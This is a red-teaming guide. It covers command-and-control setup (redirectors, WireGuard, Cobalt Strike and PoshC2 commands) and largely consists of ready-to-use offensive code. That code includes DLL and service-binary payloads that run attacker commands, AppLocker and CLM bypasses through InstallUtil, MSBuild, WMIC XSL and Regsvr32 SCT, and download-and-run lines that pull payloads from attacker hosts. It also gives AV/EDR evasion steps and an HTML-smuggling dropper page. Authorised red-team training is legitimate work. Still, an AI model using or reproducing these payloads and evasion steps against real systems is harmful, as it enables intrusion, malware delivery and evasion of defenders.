RED TEAMING

SURVIVAL GUIDE

AUTHOR: Pieter Miske

VERSION: 3.10

DESCRIPTION: Collection of red teaming/pentesting tools, techniques and procedures.

Index

Setting up C2 infrastructure

Setup infrastructure:

Domain setup:

- Collection of domains that can be used for malicious activities (e.g. phishing)
- Check for expired domain names
- Buy domain name from namecheap (or other)
- Check credibility of the domain

Configure C2 redirector:

Basic Short/Long Haul redirectors with Socat:

- 1. Install socat on the redirector server: `sudo apt-get install socat`
- 2. Run socat to start redirecting traffic to your C2 server: `sudo socat -d -d TCP4-LISTEN:80,fork TCP4:<IP own C2 server>:8080`

Configure stager redirector based on Apache mod_rewrite:

The mod_rewrite module is a rules-based rewriting engine that allows web admins to rewrite URLs as they're requested. Rules are evaluated top-down and generally have breakpoints set throughout. Only use this if the target needs to browse to download your payload.

- 1. Prerequisites for the stager redirector:
    - Option 1: **HTTP redirector**: can be used for testing purposes:
        - 1. Configure apache on your redirector host:
            - 1: `sudo apt-get install apache2`
            - 2: `sudo a2enmod ssl rewrite proxy proxy_http`
            - 3: `sudo service apache2 restart`
        - 2. Add the following lines to the "/etc/apache2/sites-available/000-default.conf" file directly under the "<VirtualHost *:80>" line so it is possible to use a ".htaccess" file for specifying the rules:

```
<Directory /var/www/html>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        Require all granted
</Directory>
```

        - 3. Restart apache: `sudo systemctl restart apache2`
    - Option 2: **HTTPS redirector**: this method requires you to have control over a domain name to create a valid SSL certificate:
        - 1. Configure apache on your redirector host:
            - 1: `sudo apt-get install apache2`
            - 2: `sudo a2enmod ssl rewrite proxy proxy_http`
            - 3: `sudo a2ensite default-ssl.conf`
            - 4: `sudo service apache2 restart`

- 2. In the Apache2 configuration file (/etc/apache2/apache2.conf by default), locate the Directory tag for your site's directory and change the "AllowOverride" variable from None to All:
- 3. Generate Cert with LetsEncrypt (if successful, the cert files will be saved to /etc/letsencrypt/live/<your domain>):
    - 1: `sudo service apache2 stop`
    - 2: `sudo apt-get install certbot`
    - 3: `sudo certbot certonly --standalone -d <your domain> -d www.<your domain> (-d <other subdomains>)`
    - 4. Edit the SSL site configuration (located at /etc/apache2/sites-enabled/default-ssl.conf by default) so the file paths for the SSLCertificateFile and SSLCertificateKeyFile options match the LetsEncrypt certificate components' paths:

```
SSLCertificateFile      /etc/letsencrypt/live/<domain name>/cert.pem
SSLCertificateKeyFile   /etc/letsencrypt/live/<domain name>/privkey.pem
```

    - 5. Also, add the following code to the same "default-ssl.conf" file within the VirtualHost tags:

```
# Enable SSL
SSLEngine On
# Enable Proxy
SSLProxyEngine On
# Trust Self-Signed Certificates generated by Cobalt Strike
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off
```

- 2. Add/modify mod_rewrite rules:
    - 1. Create a ".htaccess" file in the " /var/www/html/" directory.
    - 2. Add and modify the following rules (without the comments) to the ".htaccess" file:

```
# Enable the rewrite engine
RewriteEngine On
# Specify the URI's that will be redirected to the C2 server (with an optional trailing slash)
RewriteCond %{REQUEST_URI} ^/(/test/test.txt|us-en.index.html)/?$ [NC]
# Change the entire request to serve the original request path from the remote host's IP, and keep
the user's address bar the same (obscure the backend C2 server's IP).
RewriteRule ^.*$ http://<ip C2 server>:<C2 port>%{REQUEST_URI} [P]
# If the specified conditions are not met, change the entire request URI and drop any query strings
from the original request.
RewriteRule ^.*$ https://<page to redirect to> [L,R=302]
```

WireGuard VPN tunnel:

- 1. Modify the following Server config file so the 'serverIP = <host ip or domain name>', 'listenPort = <random port>' and 'iface = <interface that points to the subnet or internet>' correspond with the host you are planning to run it on (this can be a redirector or Linux based target system under your control) (save file as wiregC.sh):

```
#! /bin/bash

RED='\033[0;31m'
BLU='\033[0;34m'
LBLU='\033[1;34m'
NC='\033[0m' # No Color

serverIP=<ip current host>
listenPort=<random port that the server will use as listening port>
iface=<interface that points to the internet or target network (e.g. ens192)>
```

```
## SERVER side
apt install wireguard -y
sysctl net.ipv4.ip_forward=1
sysctl net.ipv6.conf.default.forwarding=1
sysctl net.ipv6.conf.all.forwarding=1
sysctl -p
sysctl --system

wg genkey | tee /etc/wireguard/server_private.key | wg pubkey > /etc/wireguard/server_public.key
server_publickey=$(cat /etc/wireguard/server_public.key)
server_privatekey=$(cat /etc/wireguard/server_private.key)
chmod 600 /etc/wireguard/server_private.key

cat > /etc/wireguard/wg0.conf << EOF
# Server configuration
[Interface]
PrivateKey = $server_privatekey
Address = 172.10.0.1/24, fd00::1/64
ListenPort = $listenPort
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o $iface -j MASQUERADE;
ip6tables -A FORWARD -i wg0 -j ACCEPT; ip6tables -t nat -A POSTROUTING -o $iface -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o $iface -j MASQUERADE;
ip6tables -D FORWARD -i wg0 -j ACCEPT; ip6tables -t nat -D POSTROUTING -o $iface -j MASQUERADE
EOF

systemctl start wg-quick@wg0
systemctl enable wg-quick@

wg-quick up wg0

echo "$serverIP $listenPort $server_publickey 172.10.0.2 fd00::2" > wg.info
echo -e "${RED}REMEMBER: ${BLU} use this info as client config"
echo -e "${LBLU}$serverIP $listenPort $server_publickey 172.10.0.2 fd00::2 ${NC} "
```

- 2. Run the wiregS.sh file on the host that will serve as the WireGuard server (e.g. redirector or Linux based target system under your control): `bash wiregS.sh`
- 3. Copy the generated output of the wiregS.sh and save it in a file called 'config.txt' and move it to your own system.
- 4. Modify the following file so the 'AllowedIPs = <comma separated ipv4 or ipv6 ranges>' option points to your target network (save the file on your own system as wiregC.sh)

```
#! /bin/bash

RED='\033[0;31m'
BLU='\033[0;34m'
LBLU='\033[1;34m'
NC='\033[0m' # No Color

serverUser='root'

config=$1
#kalinr=$2

serverIP=$( cat $config | awk '{print $1}' )
serverPort=$( cat $config | awk '{print $2}' )
serverPubkey=$( cat $config | awk '{print $3}' )
nextIP4=$( cat $config | awk '{print $4}' )
nextIP6=$( cat $config | awk '{print $5}' )

## CLIENT side
apt install wireguard resolvconf -y

wg genkey | tee /etc/wireguard/client_private.key | wg pubkey > /etc/wireguard/client_public.key
client_privatekey=$(cat /etc/wireguard/client_private.key)
client_publickey=$(cat /etc/wireguard/client_public.key)
chmod 600 /etc/wireguard/client_private.key
```

```
cat > /etc/wireguard/wg0.conf << EOF
[Interface]
PrivateKey = $client_privatekey
Address = $nextIP4/24, $nextIP6/128
DNS = 172.10.0.1

[Peer]
PublicKey = $serverPubkey
AllowedIPs = 172.0.0.0/24, <comma separated ipv4 or ipv6 ranges or single ip's (e.g. 198.19.252.195,
100.64.0.0/24, 2a07:1181:102::/64)>
Endpoint = $serverIP:$serverPort
PersistentKeepalive = 25
EOF

cat > /tmp/srv.conf << EOF
# Configurations for the clients.
[Peer]
PublicKey = $client_publickey
AllowedIPs = $nextIP4/32, $nextIP6/128
EOF
cat /tmp/srv.conf | ssh $serverUser@$serverIP "cat >> /etc/wireguard/wg0.conf; wg-quick down wg0; wg-quick
up wg0"

IFS=. read ip1 ip2 ip3 ip4 <<< "$nextIP4"

updatedIP4="$ip1.$ip2.$ip3.$(( $ip4 + 1))"
sed -i "s/$nextIP4/$updatedIP4/g" $config

IFS=: read ip1 ip2 ip3 <<< "$nextIP6"
updatedIP6="$ip1:$ip2:$(( $ip3 + 1))"
sed -i "s/$nextIP6/$updatedIP6/g" $config

sudo wg-quick up wg0
```

- 5. Run the wiregC.sh on your own (attacker) system and specify the config.txt file (the script will connect over ssh to the wireguard server host and complete the configuration): `bash wiregC.sh config.txt`
- 6. It is recommended to restart the wireguard server:
    - 1. Stop wireguard: `wg-quick down wg0`
    - 2. Start wireguard: `wg-quick up wg0`
    - 3. Check status wireguard server: `wg status`
- 7. It is now possible to run command on your own system through the VPN tunnel by simply using the IP that is specified in the wiregC.sh file (to add new IP addresses to the VPN tunnel just modify the wiregC.sh file, rerun it and restart the wireguard server).

Network proxy:

Communicating through a Proxy:

Organizations can force their network communication through a proxy, which allows for centralized traffic monitoring. To ensure communication back to the C2 server, traffic must go through the proxy or if possible, bypass the proxy and its associated monitoring.

- PowerShell "net.Webclient" is proxy-aware and will auto follow any proxy settings that apply to the current user account.
- Running "net.Webclient" as SYSTEM will not be proxy-aware and may therefore be used as a bypass technique. On the other hand, if proxy-aware communication from this context is required use the following PS one-liner: `New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null ; $keys = Get-ChildItem 'HKU:\'; ForEach ($key in $keys) {if ($key.Name -like "*S-1-5-21-*") {$start = $key.Name.substring(10);break}}; $proxyAddr=(Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer;`

```
[system.net.webrequest]::DefaultWebProxy = new-object
System.Net.WebProxy("http://$proxyAddr"); $wc = new-object system.net.WebClient;
$wc.DownloadString("http://10.10.10.1/payload.ps1")
```

Share files between team systems:

Secure Shell Copy:

- Import files or folders with SCP to target host:
  - File copy: `scp </path/file> <username>@<target ip>:</some/remote/directory>`
  - Folder copy: `scp -r </path/dir> <username>@<own ip>:</some/remote/directory>`
- Extract files or folders with SCP from the target host:
  - File copy: `scp <username>@<target ip>:</some/remote/file> </some/local/directory>`
  - Folder copy: `scp -r <username>@<target ip>:</some/remote/dir> </some/local/dir>`

SMB Share:

- 1. Start smbserver on own machine: `impacket-smbserver -smb2support -user test -password test share /<path to local folder to share>`
- 2. Mount a free drive on the target system to your running share: `net use Z: \\<own ip>\<share name> /u:<username impacket share> <password impacket share>`
- 3. Download or upload file:
  - Upload file to target system (use -r for recursive): `copy (-r) z:\<file to upload>`
  - Download file from target system: `copy <file to download> z:\`
- 4. (optional) Delete mounted drive: `net use z: /delete`

Command & Control frameworks:

Cobalt Strike:

Setup CS team server:

- (info) don't expose port 50050 directly to the internet but instead use a redirector server that supports encryption (e.g SSH or VPN).
- Start TS: `./teamserver <IP used by the TS> <new password for TS> <malleable.profile>`
- Connect to TS by first starting the CS GUI and enter the IP address of the TS, port, username and configured password: `./cobaltstrike`

Team server commands:

- (info) more information:
- Start Listener:
  - Egress Listeners:
    - HTTP/HTTPS: by default uses ports 80 and 443 with the option to set custom port. Use the "HTTP Hosts" option to set the IP address of the TS or the redirector server.
    - DNS: A very stealthy payload options, provides stealthier traffic over the dns protocol. For configurations check PayloadAllTheThings.
  - Pivot Listeners:

        - TCP: basic tcp listener that bound on a spesific port.
        - SMB: uses named pipes over the smb protocol
- Generate payload:
    - To generate a .exe payload (stageless is marked with (S)): `Attacks > Packages > Windows Executable (S).`
    - Host PS payload: `Attacks > Web drive-by > Scripted Web Delivery (S)`

Basic beacon commands:

- Listing of the available commands: `help`
- Show the help menu of the selected module: `help <module>`
- List the running jobs of beacon: `jobs`
- Kill selected job: `jobkill <id>`
- Execute OS commands by spawning "cmd.exe /c": `shell <command> (<arguments>)`
- Execute commands by spawning "powershell.exe": `powershell <command> (<arguments>)`
- Import a local powershell module in the current beacon process: `powershell-import </path/to/script.ps1>`
- Execute powershell commands without spawning "powershell.exe", using only .net libraries and assemblies: `powerpick <command> (<arguments>)`
- Load and execute a .NET compiled assembly executable completely in memory: `execute-assembly </path/to/local/tool.exe> (<arguments>)`
- Set the interval and jitter of beacon's call back: `sleep <seconds> (<jitter>)`
- Download file (stored on the TS or can be viewed via: View > Downloads): `download <C:\path to file>`
- Upload file: `upload </path/to/file.exe>`
- Change 'Last Modified" timestamp of an altered file to the timestamp of the original file: `timestomp <new file> <original file>`
- Convert returned error code to error message: `net helpmsg <code>`

Recommended aggressor scripts:

- InlineExecute-Assembly: this Beacon Object File (BOF) allows in process .NET assembly execution as an alternative to Cobalt Strikes traditional fork and run execute-assembly module: `inlineExecute-Assembly --dotnetassembly /<path to tool> --assemblyargs <args> --amsi --etw <--pipe | --mailslot> <pmisvc> --appdomain <ConsoleApp1>`
- CS-Situational-Awareness-BOF: set of basic situational awareness commands implemented in BOF
- Cobalt-arsenal: set of aggressor scripts that add or improve default cobalt strike functionalilities.
- HelpColer: lists available Cobalt Strike beacon commands and colors them based on their type.
- Firewall_Walker_BOF: firewall enumeration via BOF implementation
- C2-Tool-Collection: collection of tools based on BOF.
- CS-Remote-Ops-BOF: set of basic attack oriented BOF tools.

CS Malleable C2:

Based on a Thread Profile, it is possible to modify or create a custom malleable C2 profile that emulates the network traffic of a specific threat actor.

- (info) a list of prepared profiles can be found here. The "reference.profile" contains all possible configuration options for a C2 profile.
- 1. Create C2 profile:

    - Option 1: randomized C2 malleable profile (the '--hostname' variable is the hostname used in HTTP client and server side settings) (C2concealer): `C2concealer --variant 2 --hostname <google.com>`
    - Option 2: Create custom C2 profile based on the agreed Threat Profile:
        - Modify the 'set useragent' parameter to control the user agent string
        - Modify the 'https-certificate' block to create a custom SSL certificate.
        - Modify the 'http-config' block to set the default response from the CS TS.
        - Modify in both the 'http-get' (used by the beacon to download tasks from the TS) and 'http-post' (used by the beacon to send data to the TS) blocks:
            - the 'set uri' parameter to specify a URL
            - in the 'client' block specify specific headers via the "header" parameter
            - the 'client > metadata' block can hold 'prepent' and 'append' parameters for the string that is concatenated to the URL. Furthermore, it can contain encoding paramaters like "base64".
        - Modify the 'http-stager' block to specify how the staging process should look like
        - Specify which post-exploitation options (e.g. AMSI-bypass) you would like to use by modifying the 'post-ex' block.
- 2. Test and analyse the created threat.profile: `./c2lint <threat.profile>`

PoshC2:

Running PoshC2:

- Project management: `sudo posh-project <-n <project_name> | -s <project-to-switch-to> | -l (lists projects) | -d <project-to-delete> | -c (shows current project)>`
- Edit the configuration for your project (atleast modify BindIP/BindPort and PayloadCommsHost): `sudo posh-config`
- Launch the PoshC2 server: `sudo posh-server`
- Run the ImplantHandler for interacting with implants (all output of the implants will show up in the server panel): `sudo posh -u <random username>`
- Update PoshC2: `posh-update`
- Start new display (log) panel (use this if team members log in via ssh): `posh-log`

Main menu commands:

- Add compromised credentials/hashes to the database (accepts only password or hash): `creds -add -domain=<domain> -username=<username> -password='<password>'|-hash=<hash>`
- Check all compromised (stored) credentials: `creds`
- Message other team members: `message "<Message to broadcast>"`
- Get a detailed overview in both html/cvs format about compromised systems, commands executed on each system and gathered (if added) credentials: `generate-reports`
- Quick overview of compromised hosts, used URL's, files uploaded and (if added) gathered credentials: `opsec`
- Show detailed information about the running server: `show-serverinfo`

General Commands:

- Get overview of all command: `help`
- Get overview of all available modules: `listmodules`
- Change beacon call-back time of running implant (run in implant interface): `beacon <number in seconds>s`

- Set beacon call-back time for new implants (run in "select implant" interface): `set-defaultbeacon <number in seconds>s`
- Label an implant with text: `label-implant <label text>`
- Load PowerShell script in C# implant: `pslo <scriptname.ps1>`
- Execute PowerShell command in C# implant: `sharpps <normal PS syntax>`
- Upload file (if the source address is not correct it will completely brake the C2 server): `upload-file -source /<local path> -destination "C:\Users\Public\Documents\<file>"`
- Download file (stored in /var/poshc2/<project>/downloads/): `download-file "c:\<path to file>"`
- Run C# .NET binaries (.exe and .dll):
    - 1. Add C# .NET assembly in the 'modules' folder and load the module: `loadmodule <name executable>`
    - 2. Run C# binary (if the program is not giving any output, the only solution is to respawn a C# implant): `run.exe <namespace>.<classname> <assembly name> <args>`

Tips & Tricks:

- In the file "/PoshC2/resources/urls.txt" you can specify multiple URL's that the beacons will use.
- PowerShell implants will automaticly migrade to a new process that is specified in the posh-config file "DefaultMigrationProcess" attribute.
- Quickstart document can be found in: `/var/poshc2/<project name>/quickstart.txt`
- All payloads are stored in: `/var/poshc2/<project name>/payloads/`
- Create an alias for a C# assembly or powershell script: `/opt/Poshc2/poshc2/client/Alias.py`
- All downloaded files and screenshots are stored in the directory: `/var/poshc2/<name project>/downloads/`

Payloads

Windows payloads:

Payload development:

DLL payload:

Custom .dll payload that can run an OS command (e.g. creates new admin user (only works for domain joined systems) or starts a reverse shell):

- 1. Create customdll.cpp and modify the OS command to execute:

```
#include <windows.h>

int owned()
{
  WinExec("powershell.exe <PS COMMAND>",0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}
```

- 2. Make sure the C++ compiler is installed on your system: `apt-get install g++-mingw-w64-x86-64`
- 3. Compile the dll binary:
    - 1: `x86_64-w64-mingw32-gcc -c -DBUILDING_EXAMPLE_DLL adduser.cpp`
    - 2: `x86_64-w64-mingw32-gcc -shared -o adduser.dll adduser.o -Wl,--out-implib,adduser.a`

Windows Service EXE payload:

This payload can be used in the situation a vulnerable service is exploited and will most likely crash shortly after exploitation (e.g. unquoted service path and modifiable service binary). This payload will start a second process that will stay alive after the vulnerable service process dies.

- 1. Modify the code so it runs a command that for example runs a beacon payload or adds an admin user to the system and save it as script.cs:

```
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace WindowsService
{
class Program
{
static void Main(string[] args)
{
// start connection
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/C <COMMAND PLACE HOLDER>";
```

```
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
psi.WindowStyle = ProcessWindowStyle.Hidden;
var proc = new Process();
proc.StartInfo = psi;
proc.Start();
proc.WaitForExit();

// optional to add second command or run original binary
psi.FileName = "cmd.exe";
psi.Arguments = "/C C:\\<PATH TO VULN SERVICE>";
proc.StartInfo = psi;
proc.Start();
proc.WaitForExit();
}
}
}
```

- 2. Compile script.cs on your local Windows machine (PS): `csc.exe script.cs`

Vanilla Process Injection & Process Hollowing payloads:

Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

- A great tool that leverage different process injection techniques is ProcessInjection. It is recommended to use the code as an example and create your own tools based on it. This can help bypassing any AV solutions, hold custom shellcode and limit the need for arguments.
- Vanilla Process Injection (via PInvoke and Dinvoke) is most likely flagged by most AV products due 'Suspicious behavior'.
- Using a process injection payload as a dropper and therefore not including shellcode directly in the binary, makes the dropper payload less noticable by AV. However, this requires an additional outgoing request to download the shellcode or the shellcode must be dropped on disk.
- Process Hollowing still works but can raise unwanted attention if not combined with Parent Process Spoofing.
- For Parent Process Spoofing, make sure the choosen parent process is suitable for injection (e.g. some svchost.exe processes will simply not work)
- The following "process | parent" relations are examples (if using 'svchost' the process must be suitable for PI. If using explorer, make sure a user is logged in otherwise its not running):
    - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | explorer
    - C:\Windows\System32\PresentationHost.exe | svchost
    - C:\Windows\System32\smartscreen.exe | svchost

Payload leveraging InstallUtil & PowerShell Automation – bypass AppLocker/CLM:

- (info) this payload can give you code execution in a by Applocker/CLM restricted environment by leveraging the native Windows Installutil program and the PowerShell Automation DLL. The payload must be downloaded to disk.
- 1. Copy the code to Visual Studio:

```
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
```

```
    {
        static void Main(string[] args)
        {
            //main method is not required but can be used to bypass AV
        }
    }
    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            String cmd = "<PS COMMAND TO EXECUTE>";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}
```

- 2. Add the following 2 assembly references:
    - References > Add Reference > Browse > "C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll.")
    - References > Add Reference > Assemblies > "System.Configuration.Install"
- 3. The payload can be executed as follows to bypass AppLocker/CLM:
  `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Users\Public\Documents\Bypass.exe`

Payload leveraging PowerShell Automation – bypass CLM:

- (info) this payload leverages the powershell automation dll so the native Windows PowerShell executable is not touched and therefore can bypass CLM (only CLM not AppLocker).
- 1. Copy the code to Visual Studio:

```
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            String cmd = "<PS command to execute>";
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}
```

- 2. Add the automation reference before building: References > Add Reference > Browse > "C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll":

XSL payload & WMIC exec method - bypass application whitelisting:

- (info) This payload can be used as an application whitelisting bypass method in a full AppLocker (5/5) enabled environment. This payload is suitable as a first dropper payload to download and run the actual applocker bypass payload. So this will not bypass AppLocker/CLM by itself and therefore you need to use additional bypass techniques like 'InstallUtil' or white-listed directories to actually run a beacon payload.
- 1. Modify the following code and save it as dropper.xsl:

```
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">

<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
        <![CDATA[
        runC  = "cmd.exe /c <command 1> && timeout 4 && <command 2>";
        new ActiveXObject("WScript.Shell").Run(runC,0,true);
        ]]>
    </ms:script>
</stylesheet>
```

- 2. Run the dropper.xsl file from a remote location: `C:\Windows\System32\wbem\WMIC.exe process get brief /format:"http://<own ip>/dropper.xsl"`

SCT payload & Regsvr32 exec method - application whitelisting:

- (info) This payload can be used as an application whitelisting bypass method in a AppLocker enabled environment where 'Script Rules" (CLM) is not enabled (4/5). Sinds CLM must be disabled to actually use this method in the first place, it is advised to directly run PS command to reflectively load any C# beacon payload.
- 1. Modify the following code and save it as dropper.sct (can hold multiple commands to run):

```
<?XML version="1.0"?>
<scriptlet>
<registration
  progid="New"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
        runC  = "powershell.exe <COMMAND>";
        new ActiveXObject("WScript.Shell").Run(runC,0,true);
    ]]>
</script>
</registration>
</scriptlet>
```

- 2. Run the dropper.sct file from a remote location: `regsvr32.exe /u /n /s /i:http://<own ip>/dropper.sct scrobj.dll`

XML payload:

- 1. Create XML file, modify some variable names, add any PS command you would like to run and save it as dropper.xml;

```
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="newProjectTest">
   <RandomClassName />
  </Target>
    <UsingTask
    TaskName="RandomClassName"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
```

```
        <![CDATA[
            using System;
            using System.IO;
            using System.Diagnostics;
            using System.Reflection;
            using System.Runtime.InteropServices;
            using System.Collections.ObjectModel;
            using System.Management.Automation;
            using System.Management.Automation.Runspaces;
            using System.Text;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
            public class RandomClassName :  Task, ITask {
                public override bool Execute() {
                    string runCom = "<PS COMMAND>";
                    Runspace rspace = RunspaceFactory.CreateRunspace();
                    rspace.Open();
                    RunspaceInvoke scriptInv = new RunspaceInvoke(rspace);
                    Pipeline pipel = rspace.CreatePipeline();
                    pipel.Commands.AddScript(runCom);
                    pipel.Invoke();
                    rspace.Close();
                    return true;
                }
            }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

- 2. Payload can be executed via: `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe dropper.xml`

Payload obfuscation & encoding:

PowerShell encoding:

- PowerShell encoded command:
  - Option 1: via Windows
    - 1: `$str = '<command>'`
    - 2: `[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))`
  - Option 2: via Linux:
    - 1. `str='<command>'`
    - 2: `echo -en $str | iconv -t UTF-16LE | base64 -w 0`
  - Option 3: via CyberChef: 'decode text' (UTF-16LE) + 'To Base64'
- Convert .exe or .bin to base64 string:
  - 1. Set variable: `$f = "C:\<path\to>\loader.bin"`
  - 2. Convert to base64: `[Convert]::ToBase64String([IO.File]::ReadAllBytes($f)) |Out-File enocded.b64`

Create obfuscated payload using ScareCrow:

ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). It leverages EDR flushing, AMSI/ETW bypassing, fake signing, and more.

- 1. Generate a .bin shellcode payload in your C2 framework (e.g. Cobalt Strike, PoshC2)

- 2. Create obfuscated payload and compile it into a binary (.exe) with fake code signing and all the good bypass stuff (ScareCrow):
    - Compile payload: `./ScareCrow -I /<path to shellcode.bin> -domain www.microsoft.com`
    - Compile payload with bitsadmin remote download one-liner: `./ScareCrow -I /<path to shellcode.bin> -domain www.microsoft.com -delivery bits -url <URL to download payload from>`

Obfuscate .NET binary:

- 1. Generate a default .NET based .exe beacon/grunt/etc provided by your C2 framework
- 2. Create obfuscated shellcode (use -f 2 to also base64 encode) (Donut): `donut.exe (-f 2) <payload.exe>`

Identify bad code in artifacts and scipts:

ThreatCheck attempts to find the end of the "bad bytes" and produces a hex dump up from that point. This can be helpful when trying to identify the specific bad pieces of code in a tool/payload.

- Check for bad code (show as the content closest to the end of the output):
    - Option 1: artifact (.exe | .dll) (real-time protection can be disabled) (ThreatCheck): `ThreatCheck.exe -f <beacon.exe>`
    - Option 2: script (.ps1) (real-time protection must be enabled) (Threatcheck): `ThreatCheck.exe -f <script.ps1> -e AMSI`

Cobalt Strike Artifact Kit modification:

The "artifact-kit" modifies the compiled cobalt strike artifacts like .EXE's and .DLL's.

- (info) this obfuscation applies to the "jump psexec(64)" command and all stageless generated executables.
- 1. Generate a "Windows Service EXE (S)" (doesn't matter if the listener is SMB or TCP)
- 2. Run ThreatCheck against a 'beacon-svc.exe' binary
- 3. Search where the returned bad code (word/value/string) appears in the kit (/opt/cobaltstrike/artifact-kit) and change the value to something new (simple find & replace): `grep -r <value>`
- 4. Build these changes (/opt/cobaltstrike/artifact-kit): `./build.sh`
- 5. Copy the whole directory (dist-pipe) containing the new artifact files (e.g. artifact.cna) to your CS client system in the "colbaltstrike\ArtifactKit\dist-pipe" folder.
- 6. Make sure the Aggressor script (artifact.cna) is (re)loaded in the client to use the modified artifact.
- 7. Test again with ThreatCheck and repeat until no more threads are detected.

Cobalt Strike Resource Kit modification:

The Resource Kit contains templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.

- (info) the obfuscation of the template "template.x64.ps1" applies to the "jump winrm64" command.
- 1. Run ThreatCheck against a "template.ps1" script (located on the CS client in "cobaltstrike\ResourceKit\
- 2. Based on the output, identify where the bad code is located in the script and change it (find & replace).
- 3. Test again with ThreatCheck and repeat until no more threads are detected.
- 4. Load the Aggressor script (resources.cna) to enable the use of the modified templates.

Payload hosting:

Host & drop payload via HTLM Smuggling:

HTML smuggling is an evasive malware delivery technique that leverages legitimate HTML5 and JavaScript features to drop malicious files on a target system. When a victim clicks on a link that points to a malicious webpage leveraging HTML smuggling, the encoded malicious file is decoded and downloaded to disk.

- 1. Create a dropper payload that has an extention that is not flagged by the browser or blocked from execution and base64 encode it.
    - Regular MS Office extentions like .doc/.xls are good
    - Extentions like .js and .vbs generate a warning in the browser if using Edge or Chrome but can be executed without a problem
    - Extentions like .exe download nicely but are blocked by SmartScreen during execution
- 2. Modify and save the following script as hosting.html and add the base64 encoded dropper payload in the placeholder and specify the name it has when downloaded (for better opsec, create a legitimate looking webpage that uses this code):

```
<html>
    <body>
        <script>
            function base64ToArrayBuffer(base64)
            {
                var binary_string = window.atob(base64);
                var len = binary_string.length;
                var bytes = new Uint8Array( len );
                for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
                return bytes.buffer;
            }
            var file ='<BASE64 PAYLOAD PLACEHOLDER>';
            var data = base64ToArrayBuffer(file);
            var blob = new Blob([data], {type: 'octet/stream'});

            var fileName = '<PAYLOAD NAME>';

            var a = document.createElement('a');
            document.body.appendChild(a);
            a.style = 'display: none';
            var url = window.URL.createObjectURL(blob);
            a.href = url;
            a.download = fileName;
            a.click();
            window.URL.revokeObjectURL(url);
        </script>
    </body>
</html>
```

- 3. Host the created 'hosting.html' file via a web server
- 4. Sending a link pointing to the hosting.html file will auto download and save the payload on disk. Victim still needs to interact with the dropper payload to run the code it holds.

Host payload on own server:

- Host and upload files with the option for ssl (Updog): `updog -p 8443 -ssl`
- Create a convincing landing page, host the webpage via your own Apache or IIS web server and host the payload there aswell.
- Use the file hosting function of your C2 framework (not recommended):
    - Cobalt Strike: host a file via the team server: `Attacks > Web drive-by > Host File`
    - PoshC2:
        - Host new file/image/exploit by following the wizard (make sure to add /<file name> when specifing the URL path) (hosted files can not be disabled): `add-hosted-file <name file>`

        - List hosted files: `show-hosted-files`
- Simple HTTP server: `python3 -m http.server 80`

Host payload files via webserver from the context of a compromised host:

This method can be used to host files on an already compromised system that is located deeper in the target network.

- (info) to serve files on an already compromised host, it is mandatory to have local system privs to modify the firewall rule settings.
    - 1. Add rule to the firewall: `netsh advfirewall firewall add rule name="webserverTest" dir=in action=allow protocol=tcp localport=47002`
    - 2. Start the webserver (use the 'ntlm' option if you want to force another user to use credentials to access the hosted files) (for PoshC2: run-exe-background SharpWebServer.SharpWebServer) (SharpWebServer): `SharpWebServer port=47002 dir=C:\users\public\documents verbose=true (ntlm=true)`

Host files via SMB share:

